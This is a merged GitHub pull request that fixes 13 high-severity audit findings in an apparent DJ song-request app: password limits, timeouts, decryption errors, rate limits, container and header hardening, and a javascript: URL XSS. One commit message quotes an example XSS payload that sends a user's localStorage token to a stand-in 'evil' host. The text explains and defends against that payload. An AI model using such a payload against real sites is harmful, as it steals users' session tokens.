security: close 13 HIGH findings from 2026-04-08 audit#233
Merged
Conversation
…H-A6, H-I6) H-A4: Add max_length=128 to all password fields (AdminUserCreate, AdminUserUpdate, RegisterRequest). Prevents bcrypt 72-byte silent truncation and unbounded-password DoS. 5 new tests. H-A6: Add timeout=10s to Turnstile httpx client and wrap in try/except. Cloudflare outage no longer hangs uvicorn workers indefinitely. H-I6: Bind dev postgres to 127.0.0.1:5432 instead of 0.0.0.0:5432. Prevents LAN exposure on coffee-shop WiFi with hardcoded dev creds. See docs/security/audit-2026-04-08.md H-A4, H-A6, H-I6.
…rough (H-C2, H-C3) H-C2: decrypt_value raises DecryptionError on InvalidToken instead of returning ciphertext. Prevents ciphertext leakage on key rotation. H-C3: Legacy plaintext passthrough gated behind ALLOW_LEGACY_PLAINTEXT_TOKENS (default True). Set False post-migration. See docs/security/audit-2026-04-08.md H-C2, H-C3.
…t: XSS (H-F1)
React does NOT strip javascript: from href attributes in production
(only warns in dev). A guest submitting a song request with
source_url='javascript:fetch("//evil/?"+ localStorage.token)' could
steal the DJ's JWT when they click the open-link icon.
Adds safeExternalUrl() helper in dashboard/lib/safe-url.ts that allows
only http/https schemes. Applied to all 6 vulnerable call sites:
- RequestQueueSection.tsx:273 (guest-submitted source_url — most dangerous)
- RecommendationsCard.tsx:546 (track.url from recommendations)
- SyncReportPanel.tsx:230 (entry.url from sync results)
- SyncStatusBadges.tsx:80,154 (url from sync results)
- TidalLoginModal.tsx:41 (loginUrl from Tidal OAuth)
- PreviewPlayer.tsx:22 (data.sourceUrl from preview data)
13 new vitest tests cover javascript:, data:, vbscript:, null, empty,
invalid URLs, and valid Spotify/Beatport/Tidal URLs.
All 777 frontend tests pass, tsc --noEmit clean.
See docs/security/audit-2026-04-08.md H-F1.
Previously, mutating authenticated endpoints (admin CRUD, request status updates, tidal auth/sync, integration toggles, AI settings) had no rate limits. A compromised JWT could spam outbound API calls (tidal sync, metadata refresh) or mass-delete platform data. Applied rate limits: - 30/minute: admin user/event CRUD, settings, integration toggles, AI settings - 30/minute: request update, delete - 10/minute: refresh-metadata (triggers outbound Beatport/MusicBrainz/Tidal) - 10/minute: tidal auth start, disconnect, sync, link (trigger outbound calls) - 30/minute: tidal auth check, cancel (lightweight) All 142 affected tests pass with no regressions. See docs/security/audit-2026-04-08.md H-A1.
…I8, H-I2) H-I4: Added no-new-privileges, cap_drop ALL, read_only, pids_limit, and mem_limit to api and web containers in deploy compose. Reduces kernel attack surface on container escape. H-I7: Upgraded HSTS to max-age=63072000 (2yr) with preload directive on both nginx vhosts. Ready for hstspreload.org submission. H-I8: Removed deprecated X-XSS-Protection header (OWASP recommends removal — some old browsers had exploitable XSS auditor). H-I2: Added Permissions-Policy header to both vhosts, restricting camera, microphone, geolocation, payment, and USB APIs. See docs/security/audit-2026-04-08.md H-I4, H-I7, H-I8, H-I2.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Closes 13 HIGH-severity vulnerabilities from the full-stack security audit.
Frontend
safeExternalUrl()helper blocksjavascript:scheme in all 6 dynamichrefsites. This was the most exploitable HIGH finding — a guest-submittedsource_urlwithjavascript:scheme could steal the DJ's JWT via XSS. 13 new vitest tests.Backend crypto
decrypt_valuenow raisesDecryptionErroronInvalidTokeninstead of silently returning raw Fernet ciphertext (which would be sent to upstream APIs as bearer tokens)ALLOW_LEGACY_PLAINTEXT_TOKENSsetting (default True for migration compat)Backend API hardening
max_length=128on all password schema fields. Prevents bcrypt 72-byte silent truncation and unbounded-password DoS. 5 new tests.timeout=10son Turnstile httpx client. Cloudflare outage no longer hangs workers.Infrastructure
Permissions-Policyheader added to both nginx vhosts (camera, mic, geolocation, payment, USB restricted)no-new-privileges,cap_drop: ALL,read_only: true,pids_limit,mem_limit127.0.0.1instead of0.0.0.0(prevents LAN DB exposure)max-age=63072000; includeSubDomains; preloadX-XSS-Protectionheader removed (OWASP recommendation)Test plan
Remaining HIGH findings (deferred to follow-up PRs)